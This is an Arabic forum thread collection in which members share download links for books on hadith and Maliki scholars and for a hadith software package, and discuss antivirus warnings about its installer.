ثانيا صحيح فيه فايروس قام الكاسبرسكي مباشرة بحذفه اثناء التنصيب فقد كنت انظر الى الكاسبرسكي فاعطاني اشارة فايروس وقام بحذفه مباشرة وكل ذلك بأقل من ثانية ومن أراد التأكد فليجرب ولينظر
ـ[أبو سلمى المغربي]ــــــــ[07 - 10 - 08, 04:49 م]ـ
الروابط شغالة جربتها الآن من لم يستطيع التحميل من رابط FTP فليستعمل برنامج Internet Download Manage
في المرفقات تجد البرنامج الإصدارة البورتابل ( Internet Download Manager 5.14 Full ( Portable مضغوطا بعد فكه لا يحتاج إلى تنصيب شغله ثم انسخ الرابط الأول إلى خانة (إضافة عنوان) تجدها أقصى اليسار أعلى الشريط ثم انقر على حسنا فيبدأ التحميل
http://ftp2.sonnaonline.com/IHLSetup/Setup.part1.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part2.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part4.rar
ومن أراد برنامج Internet Download Manager 5.14 نسخة التنصيب ليبقى مركب على النظام فيتعرف تلقائيا على الروابط بعد النقر عليها مباشرة فيتكلف بتحميلها وتسرع التحميل فليحمل من هنا
http://www.ahlalhdeeth.com/vb/showthread.php?t=143221&highlight=Internet+Download+Manager
ـ[محمد الاسلام]ــــــــ[07 - 10 - 08, 10:54 م]ـ
الاخ ابو سلمى المغربي المحترم
لماذا عند محاولة الدخول لملف المساعدة (موضوعات المساعده) يظهر خطأ
ولم استطع دخوله الا عبر مجلد البرنامج الاصلي والدخول الى ملف help ودخول الملف كصفحات ويب كل على حده
ـ[أبو سلمى المغربي]ــــــــ[07 - 10 - 08, 11:33 م]ـ
الاخ ابو سلمى المغربي المحترم
لماذا عند محاولة الدخول لملف المساعدة (موضوعات المساعده) يظهر خطأ
ولم استطع دخوله الا عبر مجلد البرنامج الاصلي والدخول الى ملف help ودخول الملف كصفحات ويب كل على حده
أخي الكريم انظر الصورة في المرفقات أنا عندي موضوعات قسم المساعدة تعرض بشكل سليم لعل بعض الملفات عندك معطوبة وتحتاج إلى إعادة تنصيب
ـ[ابن العدوي]ــــــــ[08 - 10 - 08, 05:30 ص]ـ
سؤال يسير جزاكم الله خيرا
هل جرب أحد من حضراتكم النسخ من البرنامج؟ وهل يتم النسخ بالتشكيل أم ما زال النسخ بدون تشكيل؟ أرجو الإفادة جزاكم الله خيرا
ـ[محمد الاسلام]ــــــــ[08 - 10 - 08, 05:45 ص]ـ
ما زال النسخ بدون تشكيل
ـ[أبو سلمى المغربي]ــــــــ[08 - 10 - 08, 06:31 م]ـ
ما زال النسخ بدون تشكيل رغم أن الحديث قد يكون مشكلا وإن شاء الله يرفع هذا القيد في الاصدار المقبل
ـ[طالب علوم الحديث]ــــــــ[09 - 10 - 08, 03:00 م]ـ
جزاكم الله خيرا جميعا على هذه الإفادات ...
ـ[أبو سلمى المغربي]ــــــــ[09 - 10 - 08, 07:52 م]ـ
جزاكم الله خيرا جميعا
ـ[أبو عبد الرحمن الطاهر]ــــــــ[09 - 10 - 08, 09:24 م]ـ
تم التحميل والحمد لله
بارك الله في الجميع وجزاكم خيرا
ـ[سيدي محمد اندي]ــــــــ[10 - 10 - 08, 01:39 م]ـ
السلام عليكم
هل من مجيب عن هذا الاستفسار
http://www.ahlalhdeeth.com/vb/showthread.php?t=149990
المشاركة رقم3
ـ[منير الجزائري]ــــــــ[10 - 10 - 08, 05:49 م]ـ
بارك الله فيكم وفي جهودكم
تمّ التحميل والتنصيب، ولله الحمد و المنّة
البرنامج به فايروس كما قال الإخوة حفظهم المولى.
نرجوا ممن له خبرة بالبرمجيات ان يعالج هذه المشكلة، لأنّها قد تحدث ضررا لبعض إخواننا ممن لا يملكون مضاد للفايروسات، أو ليس بإمكانهم التحديث اليومي.
جزاكم الله عنّا كل خير
ـ[أبو سلمى المغربي]ــــــــ[20 - 10 - 08, 03:30 ص]ـ
جزاكم الله خيرا
ـ[أبو عبد الرحمن السبيلي]ــــــــ[20 - 10 - 08, 07:55 ص]ـ
جزاك الله خيرا ً وأحسن الله إليك
ـ[عبد العزيز الأثري]ــــــــ[28 - 10 - 08, 01:30 م]ـ
تم التحميل والحمد لله ...
والبرنامج لم أجد به بأس فهو يعمل على ما يرام ...
بارك الله في الجميع وجزاكم الله خيرا ...
ـ[عدنان الاسعد]ــــــــ[29 - 10 - 08, 10:28 م]ـ
بارك الله فيك
ـ[أبو سلمى المغربي]ــــــــ[30 - 10 - 08, 09:49 ص]ـ
وفيكم بارك الله
ـ[عيسى بنتفريت]ــــــــ[31 - 10 - 08, 11:12 ص]ـ
لقد تم تنصيب الجامع للحديث النبوي بنجاح وشكرا جزبلا.
ـ[صالحي أحمد]ــــــــ[31 - 10 - 08, 12:58 م]ـ
جزاك الله خيرا ً وأحسن الله إليك
ـ[أبو حسان السلفي]ــــــــ[18 - 01 - 09, 11:39 م]ـ
جزاك الله خيرا ً وأحسن الله إليك
(يُتْبَع .. اقلب الصفحة)
(61/391)
ـ[أبو سلمى المغربي]ــــــــ[19 - 01 - 09, 04:46 م]ـ
وفيكم بارك الله(61/392)
ترجمة أعلام المالكية: 1/ 4: الإمام مالك بن أنس
ـ[محمد عبد الرحمن]ــــــــ[04 - 10 - 08, 12:13 ص]ـ
السلام عليكم ورحمة الله وبركاته
1 - مالك: حياته و عصره –آراءه و فقهه
تأليف: الشيخ محمد أبو زهرة
مطبعة: دار الفكر العربي
الطبعة الثانية 1952
500 صفحة
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/malek_bzhr.rar)
رابط بديل ( http://www.4shared.com/file/65544358/9e68c65f/malek_bzhr.html)
2- مالك بن أنس – إمام دار الهجرة
تأليف: المستشار عبد الحليم الجندي
الطبعة الثالثة 1993 -
دار المعارف القاهرة
300 صفحة
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/malek_jndi.pdf)
رابط بديل ( http://www.4shared.com/file/65544950/9d24cbbb/malek_jndi.html)(61/393)
ترجمة أعلام المالكية: 2/ 4: الإمام عبد السلام بن سعيد -سحنون
ـ[محمد عبد الرحمن]ــــــــ[04 - 10 - 08, 12:20 ص]ـ
السلام عليكم ورحمة الله وبركاته
1 - الإمام سحنون
تأليف: محمد زينهم محمد عزب
مطبعة: دار الفرجاني
سنة 1992
270 صفحة
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/sahno.pdf)
رابط بديل ( http://www.4shared.com/file/65545296/6c1ba906/sahno.html)
2 – سحنون مشكاة نور و علم و حق
تأليف: سعدي أبو حبيب
مطبعة دار الفكر- دمشق
سنة 1981
100 صفحة
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/souhnun.pdf)
رابط بديل ( http://www.4shared.com/file/65545406/b9546efd/souhnun.html)(61/394)
ترجمة أعلام المالكية: 3/ 4: الإمام المازري (صاحب المعلم بفوائد مسلم)
ـ[محمد عبد الرحمن]ــــــــ[04 - 10 - 08, 12:25 ص]ـ
السلام عليكم ورحمة الله وبركاته
الكتاب:الإمام المازري (صاحب المعلم بفوائد مسلم)
تأليف: حسن حسني عبد الوهاب
مطبعة: دار الكتب الشرقية تونس
سنة:1955
100 صفحة
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/mezri.pdf)
رابط بديل ( http://www.4shared.com/file/65545084/988a2d05/mezri.html)(61/395)
ترجمة أعلام المالكية: 4/ 4: الإمام محمد الطاهر ابن عاشور
ـ[محمد عبد الرحمن]ــــــــ[04 - 10 - 08, 12:31 ص]ـ
السلام عليكم ورحمة الله وبركاته
الكتاب:محمد الطاهر ابن عاشور- حياته و آثاره
تأليف: د. بلقاسم الغالي
مطبعة: دار ابن حزم
سنة: 1996
260 صفحة
قريبا قريبا على هذه الصفحة (ابتسامة)
ـ[محمد عبد الرحمن]ــــــــ[04 - 10 - 08, 03:00 ص]ـ
الحمد لله أتممت التصوير و الرفع
رابط مباشر ( http://www.cheikhelif.net/site/livres_scientifiques/mtbachur.pdf)
رابط بديل ( http://www.4shared.com/file/65571816/61974b5f/mtbachur.html)
و لا تنسوني من دعاءكم - أيها الأفاضل - يرحمكم الله
ـ[أبو عبد البر المالكي]ــــــــ[04 - 10 - 08, 06:27 م]ـ
بارك الله فيك(61/396)
عيدية المساهم (3): كتب مشروع قراءة وسماع الكتب السبعة [سبعة كتب] تباعا (لأول مرة) Pdf
ـ[المساهم]ــــــــ[04 - 10 - 08, 01:08 ص]ـ
السلام عليكم ورحمة الله وبركاته
العيدية الثالثة
وهي عبارة عن كتب طبعتها وزارة الأوقاف والشئون الإسلامية في الكويت مع مشروعها
(قراءة وسماع الكتب السبعة)
وجعلتها كمقدمات في بداية كل مشروع وسأرفعها تباعًا في هذا الموضوع
وهي عبارة عن سبعة كتب
الكتاب الأول
عادات الإمام البخاري في صحيحه
تأليف
العلامة عبد الحق عبد الواحد الهاشمي
التحميل
archive (http://www.archive.org/details/bokari) أو adrive (http://www.adrive.com/public/3168f3eb13ec55533c7c374ddab0ee10c00dca4f0e6a9f82b1 f0db1b44656397.html)
بطاقة الكتاب
العنوان: عادات الإمام البخاري في صحيحه.
المؤلف: العلامة عبد الحق عبد الواحد الهاشمي.
تحقيق: محمد بن ناصر العجمي.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1428هـ - 2007م).
نوع التغليف: غلاف (129)
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 08:56 ص]ـ
قراءة وسماع الكتب السبعة
هل تعني أن لهذه الكتب السعبة تسجيل صوتي للكتاب كاملا
إن كان كذلك فحبذا أن تتحفنا أخي الكريم بالتسجيل الصوتي لها
فهذا الباب من العلم قليل من يتنبه له (الكتاب المسموع)
ولم أجد فيه محسنا سوى موقع الوراق على قلة الكتب التي فيه
ـ[المساهم]ــــــــ[04 - 10 - 08, 07:39 م]ـ
الكتاب الثاني
المدخل إلى صحيح الإمام مسلم بن الحجاج
تأليف
محمد محمدي بن محمد جميل النورستاني
التحميل
archive ( http://www.archive.org/details/Mmoslem) أو adrive (http://www.adrive.com/public/219747d223c82e57043f24f9e16127a0c3cf71037afd7a444a 72e76efcee40ad.html)
بطاقة الكتاب
العنوان: المدخل إلى صحيح الإمام مسلم بن الحجاج.
المؤلف: محمد محمدي بن محمد جميل النورستاني.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1428هـ - 2007م).
نوع التغليف: غلاف (160)
ـ[أبو زرعة حازم]ــــــــ[04 - 10 - 08, 09:15 م]ـ
بارك الله فيك
ـ[المساهم]ــــــــ[05 - 10 - 08, 05:12 م]ـ
الكتاب الثالث
المدخل إلى جامع الإمام الترمذي
تأليف
د. الطاهر الأزهر خذيري
التحميل
archive ( http://www.archive.org/details/termthi) أو adrive (http://www.adrive.com/public/239762e5dc92c50e263ccc21f069e5a2039409f34a1707d6ad 0c78c38fd71ff7.html)
بطاقة الكتاب
العنوان: المدخل إلى جامع الإمام الترمذي.
المؤلف: د. الطاهر الأزهر خذيري.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1428هـ - 2007م).
نوع التغليف: غلاف (129)
ـ[محمود الشويحى]ــــــــ[06 - 10 - 08, 04:22 ص]ـ
جزاكم الله خير الجزاء
ـ[أبو أحمد السكندرى]ــــــــ[06 - 10 - 08, 06:31 ص]ـ
بارك الله فيك
ـ[أبو عبدالله الطحاوى]ــــــــ[06 - 10 - 08, 10:24 ص]ـ
ما شاء الله لا قوة إلا بالله، كثرت أسهمك أيها المساهم ........ جزاك الله الجنة
واصل وصلك الله تعالى
ـ[المساهم]ــــــــ[06 - 10 - 08, 07:08 م]ـ
الكتاب الرابع
المدخل إلى سنن الإمام أبي داود
تأليف
محمد محمدي بن محمد جميل النورستاني
التحميل
archive ( http://www.archive.org/details/dawod_282) أو adrive (http://www.adrive.com/public/be5a33fe24fa7131c207a30f90709796db60c96ce0e4441e27 a5a5439dd6d97c.html)
بطاقة الكتاب
العنوان: المدخل إلى سنن الإمام أبي داود.
المؤلف: محمد محمدي بن محمد جميل النورستاني.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1429هـ - 2008م).
نوع التغليف: غلاف (228)
ـ[محمد السيد ابراهيم]ــــــــ[06 - 10 - 08, 07:35 م]ـ
جزاكم الله خيرا
ـ[أبو مازن العوضي]ــــــــ[07 - 10 - 08, 09:45 ص]ـ
بارك الله فيك
ـ[المساهم]ــــــــ[07 - 10 - 08, 05:33 م]ـ
الكتاب الخامس
المدخل إلى موطأ مالك بن أنس
تأليف
د. الطاهر الأزهر خذيري
التحميل
archive ( http://www.archive.org/details/mowta) أو adrive (http://www.adrive.com/public/72019d6d586897f6c00e2faa6ce00fdc603c45c6f99e71b1c6 0b2e7d89bc7cf0.html)
بطاقة الكتاب
العنوان: المدخل إلى موطأ مالك بن أنس.
المؤلف: د. الطاهر الأزهر خذيري.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1429هـ - 2008م).
نوع التغليف: غلاف (177)
ـ[أبو عبد الرحمن السبيلي]ــــــــ[07 - 10 - 08, 06:26 م]ـ
وعليكم السلام ورحمة الله وبركاته
قراءة وسماع الكتب السبعة
هل تعني أن لهذه الكتب السعبة تسجيل صوتي للكتاب كاملا
إن كان كذلك فحبذا أن تتحفنا أخي الكريم بالتسجيل الصوتي لها
فهذا الباب من العلم قليل من يتنبه له (الكتاب المسموع)
ولم أجد فيه محسنا سوى موقع الوراق على قلة الكتب التي فيه
إن سمحت لك الظروف الرد فنحمد الله لك
(يُتْبَع .. اقلب الصفحة)
(61/397)
ـ[المساهم]ــــــــ[07 - 10 - 08, 07:00 م]ـ
وعليكم السلام ورحمة الله وبركاته
إن سمحت لك الظروف الرد فنحمد الله لك
يا اخي أظن العنوان واضح جدا ولا يحتاج إلى مزيد شرح فمن قال بأن هناك تسجيل صوتي لهذه الكتب؟؟!!!
ـ[أحمد محمد بسيوني]ــــــــ[07 - 10 - 08, 09:16 م]ـ
جزاكم الله خيرا
ونفع بكم
ـ[عبدالملك بن عبدالله]ــــــــ[07 - 10 - 08, 09:42 م]ـ
جزاكم الله خيرا
ـ[أبو ذر الطائفى]ــــــــ[07 - 10 - 08, 09:55 م]ـ
أين الهدية الثانية؟ لم أحصل إلا على الاولى والثالثة
وجزاك الله خيرا
ـ[المساهم]ــــــــ[07 - 10 - 08, 10:21 م]ـ
أين الهدية الثانية؟ لم أحصل إلا على الاولى والثالثة
وجزاك الله خيرا
تفضل العيدية الثانية
مختارات البارودي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149276)
(http://www.ahlalhdeeth.com/vb/showthread.php?t=149276)
ـ[منير الجزائري]ــــــــ[09 - 10 - 08, 05:06 م]ـ
جزاك الله خيرا
ـ[أبو ذر الطائفى]ــــــــ[11 - 10 - 08, 07:40 ص]ـ
تفضل العيدية الثانية
مختارات البارودي ( http://www.ahlalhdeeth.com/vb/showthread.php?t=149276)
(http://www.ahlalhdeeth.com/vb/showthread.php?t=149276)
جزاك الله خيرا
ـ[المساهم]ــــــــ[12 - 10 - 08, 10:36 م]ـ
الكتاب السادس
المدخل إلى سنن الإمام النسائي
تأليف
محمد محمدي بن محمد جميل النورستاني
التحميل
archive ( http://www.archive.org/details/nsaie) أو adrive (http://www.adrive.com/public/2f092aad4e51c5bd512d4c7fccaed0f9d675a9fc76b06ff91e 7ec8bb2361e158.html)
بطاقة الكتاب
العنوان: المدخل إلى سنن الإمام النسائي.
المؤلف: محمد محمدي بن محمد جميل النورستاني.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1429هـ - 2008م).
نوع التغليف: غلاف (171).
ـ[المساهم]ــــــــ[12 - 10 - 08, 11:32 م]ـ
الكتاب السابع والأخير
المدخل إلى سنن الإمام ابن ماجة
تأليف
نور الدين بن عبد السلام مسعى
التحميل
archive ( http://www.archive.org/details/magah) أو adrive (http://www.adrive.com/public/1c6a2a1ac47796c55ce0ba7d801d8581fab21495129475bb46 d34ade1e0cf43f.html)
بطاقة الكتاب
العنوان: المدخل إلى سنن الإمام ابن ماجه.
المؤلف: نور الدين بن عبد السلام مسعى.
دار النشر: وزارة الأوقاف والشئون الإسلامية - مكتب الشئون الفنية.
سنة الطبع: الطبعة الأولى (1429هـ - 2008م).
نوع التغليف: غلاف (159).
ـ[المساهم]ــــــــ[13 - 10 - 08, 02:51 م]ـ
تجدون هنا صفحى الرابط بين الكتب السبعة بشرط جمعها في مجلد واحد
archive (http://www.archive.org/details/kotb7) أو adrive (http://www.adrive.com/public/9d911f8440606c9f36d07651003099ba4a8bd45dd52fe91300 e9ea5ca936d805.html)
ـ[السهيلي]ــــــــ[13 - 10 - 08, 07:06 م]ـ
جزاك الله خيرا.
ـ[أبو زرعة حازم]ــــــــ[13 - 10 - 08, 08:35 م]ـ
جزاك الله خيراً وزوجك بكراً
ـ[المساهم]ــــــــ[14 - 10 - 08, 05:57 م]ـ
تجدون هنا الكتب السبعة مجموعة في رابط واحد
archive (http://www.archive.org/details/MQSK7) أو adrive (http://www.adrive.com/public/dccd134d218a8b547cd7d883bdad4be5fb723c4cd5bfa5bafe eb830a6927ac5b.html)
ـ[منير الجزائري]ــــــــ[22 - 10 - 08, 10:14 م]ـ
بارك الله فيك
جزاك الله خيرا
ـ[عبدالله الميمان]ــــــــ[22 - 10 - 08, 10:25 م]ـ
اللهم اغفر لأخي المساهم واجزه كل خير ووفقه لما تحب وترضى على ما بذل من تقريب كتب العلم الشرعي إلى الأمة(61/398)
"الجامع للحديث النبوى" بأجزاء صغيرة بدون حاجة للتفعيل
ـ[يحيى صالح]ــــــــ[04 - 10 - 08, 01:22 ص]ـ
السلام عليكم ورحمة الله و بركاته
هنا أضع برنامج "الجامع للحديث النبوى" بأجزاء صغيرة بدون حاجة للتفعيل.
هذا البرنامج - لمن لا يعرفه - هو برنامج يحتوي على كتب كثيرة من كتب السنة و بعض الكتب المعنية بالتحدث عنها.
و بالبرنامج خدمات لا تتوافر بغيره من البرامج الحديثة.
و الصور تتكلم:
http://www.zyzoom1.com//uploads/images/zyzoom-65297a272f.jpg
http://www.zyzoom1.com//uploads/images/zyzoom-f1ae73d388.jpg
http://www.zyzoom1.com//uploads/images/zyzoom-89f7f42dc8.jpg
http://www.zyzoom1.com//uploads/images/zyzoom-0001726441.jpg
http://www.zyzoom1.com//uploads/images/zyzoom-e6bd0af9ab.jpg
http://www.zyzoom1.com//uploads/images/zyzoom-cd5b62d930.jpg
و الآن مع روابط التحميل:
http://www.filesend.net/download.php?f=92064469099236b99e7ac03bfd006129
http://www.filesend.net/download.php?f=d2bff3a7384112fea8cf6e2c834c7c85
http://www.filesend.net/download.php?f=63af15c5571c7dec7aa6cbc7544bac4f
http://www.filesend.net/download.php?f=ea19fc236fb5c40e3aa941b55f885f07
http://www.filesend.net/download.php?f=364590d145182f13b0e672f37387bcb2
http://www.filesend.net/download.php?f=bb0325b91daa45381e41051884476186
http://www.filesend.net/download.php?f=f0dfffe2df290f6c87f5620ff126690c
http://www.filesend.net/download.php?f=7c445984876fbda4c8a093aee3d2c7ba
http://www.filesend.net/download.php?f=86d843eada6c4b13cd696c46db6f49f0
http://www.filesend.net/download.php?f=0f131ebd5b4ce69bcb935cd53a4aff83
http://www.filesend.net/download.php?f=6b564317ad2d92268316084e13b1e5cc
http://www.filesend.net/download.php?f=4da88356a81460d4c7c81057e71d17c4
http://www.filesend.net/download.php?f=e8084a02a79825c8c12ec6ba4ca9c539
http://www.filesend.net/download.php?f=bfa2eb1b2707c0d595d268a806abd0e8
بالتوفيق بإذن الله تعالى.
ـ[محمود آل زيد]ــــــــ[05 - 10 - 08, 01:27 ص]ـ
الشيخ الحبيب (يحيى صالح) - حفظه الله -:
جزاك الله خيرًا، وبارك فيك ...
افتقدتك منذ فترة ..
ولكن:
ماذا عن (الفيروس) الذي وُجِدَ في (جامع الحديث النبوي) كما في هذه المشاركة ...
http://www.ahlalhdeeth.com/vb/showpost.php?p=903789&postcount=12
ـ[محمود آل زيد]ــــــــ[05 - 10 - 08, 02:31 ص]ـ
الشيخ الحبيب (يحيى صالح) - حفظه الله -:
جزاك الله خيرًا، وبارك فيك ...
افتقدتك منذ فترة ..
ولكن:
ماذا عن (الفيروس) الذي وُجِدَ في (جامع الحديث النبوي) كما في هذه المشاركة ...
http://www.ahlalhdeeth.com/vb/showpost.php?p=903789&postcount=12
الحمد لله رب العالمين ...
قام ( node anti vires ) بحذف الملف المصاب، أثناء التنصيب تلقائيًا،
وتم التنصيب بنجاح ...
ويبدو لي أن مشكلة الفيروس يستطيع أي مكافح للفيروسات محدث أن يتعامل معها بسهولة ...
فالحمد لله رب العالمين،
وجزى الله خيرًا كل ما ساهم في هذا العمل،
وأثابه عليه خير الجزاء ...
آمين ...
ـ[يحيى صالح]ــــــــ[05 - 10 - 08, 07:15 م]ـ
جزاك الله تعالى خيرًا
أنا عندي النود بآخر تحديث له، و تم التنصيب بطريقة عادية بدون التلميح - مجرد التلميح - لوجود فايروس!
ثم قمتُ الآن بعمل فحص للبرنامج بعد التسطيب، و النتيجة سلبية!
ـ[أبو زرعة حازم]ــــــــ[07 - 10 - 08, 12:11 م]ـ
بارك الله فيك
ـ[يحيى صالح]ــــــــ[07 - 10 - 08, 07:35 م]ـ
و بارك الله فيك أخي الكريم أبا زرعة.
نسأل الله أن ينفع به المسلمين.
ـ[ابومريقة]ــــــــ[07 - 10 - 08, 11:39 م]ـ
السلام عليكم ورحمة الله وبركاته
أشكرك أخي
قمت بتحميل البرنامج وتنصيبه وفي احدى مراحب التنصيب تظهر نافذ اكتشاف فايرون من برنامج أفيرا تعلم أن البرنامج به فايروس اسمه صلاتي .....
يرجى التأكد فهو فيروس win 32 وخطير
أشكر اهتمامكم
والسلام عليكم ورحمة الله وبركاته
ـ[يحيى صالح]ــــــــ[08 - 10 - 08, 06:25 م]ـ
بارك الله فيك أخي الكريم
أرجو التكرم بمراجعة المشاركات الأخيرة بعاليه، تنفعك بإذن الله تعالى.(61/399)
دعوة للخير: الكتاب المسموع
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 09:00 ص]ـ
بحمد الله الشاملة نور
والكتب المصورة نور
وبقي أمر لا بد من ولوجه لأهل الحديث وتوفيره في الشاملة
الكتاب المسموع
بمعنى نسخة مسموعة للكتاب موافقة لنسخة الشاملة والنسخة المصورة Pdf
فهل من مشمر؟؟؟
أتمنى من الاخوة من لديه (كتاب مسموع) أن يرشدنا له مشكورا.
ـ[أبو الحسن الأثري]ــــــــ[04 - 10 - 08, 09:24 ص]ـ
أنظر هنا أخي الكريم
http://www.ahlalhdeeth.com/vb/showthread.php?t=110116
ـ[إبراهيم أمين]ــــــــ[04 - 10 - 08, 09:55 ص]ـ
تفضل بمراجعة هذا الرابط غفر الله لي ولك وللمسلمين أجمعين:
http://www.blindarab.net/view-cat-1.html
ـ[أبو أكرم الحلبي]ــــــــ[04 - 10 - 08, 05:34 م]ـ
السلام عليكم ورحمة الله وبركاته
لو يتم برمجة متكلم آلي كالمتكلم الخاص باللغة الإنكليزية
وقد شاهدت أداة تضاف للبيسك بإمكانها قراءة النص العربي المشكول ولكنها تحتاج للكثير من التطوير
وهي باللهجة المغربية
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 07:06 م]ـ
من تجارب شركة صخر يبدو القاريء الآلي آداءه غير جيد نحن نتحدث عن كتب كالتي موجوده هنا
http://www.alwaraq.net/
فضائل القدس
http://www.alwaraq.net/Audio/A1020-1.ra
http://www.alwaraq.net/Audio/A1020-2.ra
http://www.alwaraq.net/Audio/A1020-2.ra
http://www.alwaraq.net/Audio/A1020-1.wma
http://www.alwaraq.net/Audio/A1020-2.wma
http://www.alwaraq.net/Audio/A1020-2.wma
http://www.alwaraq.net/Audio/A1020-1.m3u
http://www.alwaraq.net/Audio/A1020-2.m3u
http://www.alwaraq.net/Audio/A1020-2.m3u
على هذه الشاكلة نريد كتبا مسموعة لكن لنفس نسخ الشاملة الموافقة للمطبوع + pdf
ـ[أبو عبدين]ــــــــ[29 - 06 - 10, 06:40 م]ـ
رب يسر وأعن يا كريم
فكرة رائعة أخي طيماوي لكن لا تبالغ في الحلم وتطلب الشاملة مرة واحدة مسموعة!
الله المستعان
يمكن البدء ـ والله أعلم ـ عن طريق عيون الكتب المعاصرة للأحياء من المشايخ ويساعدنا إن شاء الله طلاب العلم الذين على مقربة من مشايخنا الكرام حفظهم الله، فمن السهل طرح الفكرة على الشيخ وترك اختيار الكتاب لفضيلة الشيخ ثم يسجله هو نفسه بصوته، وهذه أمثل طريقة لخروج الأداء مطابق أتم المطابقة للمكتوب إن شاء الله سواء من ناحية التأثير أو التشكيل ... إلخ.
ومن ناحية أخرى، يمكن ترك الشيخ يختار كتابًا من كتب التراث لمن مات من المشايخ ـ رحمهم الله ـ ويسجله بصوته ويتولى تلميذه المقرب العناية برفعه.
لكن من الصعب تحول الكتب العلمية ذات المسائل التي تحتاج إعادة قراءة وتمعن كي أفهم صعب جدًا في نظري تحويلها إلى صوت لأن الفائدة تكاد تكون معدومة ...
سأطرح الفكرة على فضيلة الشيخ أبي ذر القلموني ولنعرف رأيه.
بارك الله فيكم
ـ[عبد الله الأبياري]ــــــــ[29 - 06 - 10, 09:38 م]ـ
مشروع عظيم تكلفت به وزارة المعارف السعودية ,
http://www.aawsat.com/details.asp?section=28&article=158051&issueno=8874
و هذه بعض القراءات الرائعة من إذاعة القاهرة
قراءة من كتاب من وحي القلم لمصطفى صادق الرافعي قراءة أشرف عبد الغفور و عادل هاشم و خالد الذهبي و المرسي أبو العباس و همام عبد المطلب و مدحت مرسي
http://www.archive.org/details/AlnasAlasly_MenWahyAlkalam
برنامج أبو نواس حياته و شعره تأليف: الدكتور محمد زكي العشماوي تمثيل: صبري عبد العزيز و نادية السبع و سامية محمد و حسين فياض و اسكندر منسى فهمي و عايدة كامل ومحمد رضا و نظيم شعراوي و سيد الريس و عبد الفتاح غبن و رشاد حامد ساعد في الإخراج: ابراهيم أبو المجد إخراج: محمود مرسي
http://www.archive.org/details/AbuNowas
من سيرة بني هلال عبد الرحمن الأبنودي
http://www.archive.org/details/TasgeelatMenZamanFaat_11_16_2008
ـ[ابو عبد المحسن]ــــــــ[29 - 06 - 10, 11:32 م]ـ
السلام عليكم
هنا مكتبة ضخمة صوتية
http://www.alukah.net/Audio_Books/(61/400)
طلب نصيحة متعلقةبفريق عمل الطيماوي
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 09:12 ص]ـ
بحمد الله تم الانتهاء من موافقة (160 كتاب) كلها موافقة للمطبوع + PDF
وكلها بحمد الله تم ارسالها للأخ نافع ليضع عليها لمساته الأخيرة وتخرج ضمن موقع الشاملة الجديد.
والهدف القريب المنشود حاليا لفريق العمل هو موافقة 100 كتاب أخرى بخلاف ما سبق:
ولكنني بحاجة لقائمة أعمل عليها بحيث يتوفر في هذه القائمة الشروط التالية (وهنا أريد نصحكم وتوجيهكم):
أولا:
1 - 50 كتاب تخصص الحديث الشريف وعلومه (30 كتاب منها لمتون الأحاديث).
2 - 25 كتاب تخصص الفقه وأصوله (15 كتاب منها لأصول الفقه).
3 - 20 كتاب لتخصص التاريخ.
4 - 5 كتب لتخصص اللغة العربية.
ثانيا: أن تكون الكتب في كل تخصص من أمهات الكتب التي لا غنى لأي باحث مهما كان بحثه أو رسالته إلا أن يستفيد منها أو يعرج عليها
ثالثا: أن يكون لكل كتاب نسخة شاملة ونسخة مصورة.
فأسعفونا بالقائمة بارك الله فيكم لنبدأ العمل وإن شاء الله كما هو موضوع في خطة العمل خلال ثلاثة شهور ستكون الكتب جاهزة بإذنه تعالى.
ـ[أبو عبد الله السني]ــــــــ[04 - 10 - 08, 10:16 ص]ـ
السلام عليكم ورحمة الله وبركاته
هذا الجهد الطيب المبارك، وأسأل الله تعالى أن يعينكم ويوفقكم لكل خير
أخي: حولت كتاب تحرير التقريب عن طريق القارئ الآلي بدقة عالية
وبقي أن تتم مقابلته على المصور، مع العلم أنني طابقت الصفحات كلها من المجلدات الأربعة
وطريقة المقابلة أصبحت متيسرة جداً من داخل الشاملة
فهل أرسل لكم الكتاب أخي لمقابلته ضمن فريق العمل عندكم؟ ثم ترسله للأخ نافع،
ـ[أبو سعد المصري]ــــــــ[04 - 10 - 08, 01:08 م]ـ
بالنسبة لكتب التاريخ أقترح الكتب الآتية:
1 - المقريزي، المواعظ والاعتبار بذكر الخطط والآثار
2 - المقريزي، السلوك لمعرفة دول الملوك
3 - المقريزي، اتعاظ الحنفا بأخبار الأئمة الفاطميين الخلفاء
4 - ابن تغري بردي، حوادث الدهور
5 - ابن تغري بردي، النجوم الزاهرة
6 - ابن عبد الحكم، فتوح مصر وأخبارها
7 - الكندي، ولاة مصر وقضاة مصر
8 - الذهبي، تاريخ الإسلام
9 - ابن كثير، البداية والنهاية
10 - الطبري، تاريخ الرسل والملوك
11 - البلاذري، فتوح البلدان
12 - السيوطي، تاريخ الخلفاء
13 - ابن الأثير، الكامل في التاريخ
14 - الذهبي، العبر في خبر من غبر
15 - الذهبي، سير أعلام النبلاء
ـ[ابو عبد المحسن]ــــــــ[04 - 10 - 08, 01:41 م]ـ
السلام عليكم
بارك الله في جهودكم ...
أخبرنا عن أسماء 160 كتاب حتى نخبرك؟؟؟!!!
ـ[الطيماوي]ــــــــ[04 - 10 - 08, 02:06 م]ـ
بانتظار نصح وتوجيه بقية الأخوة
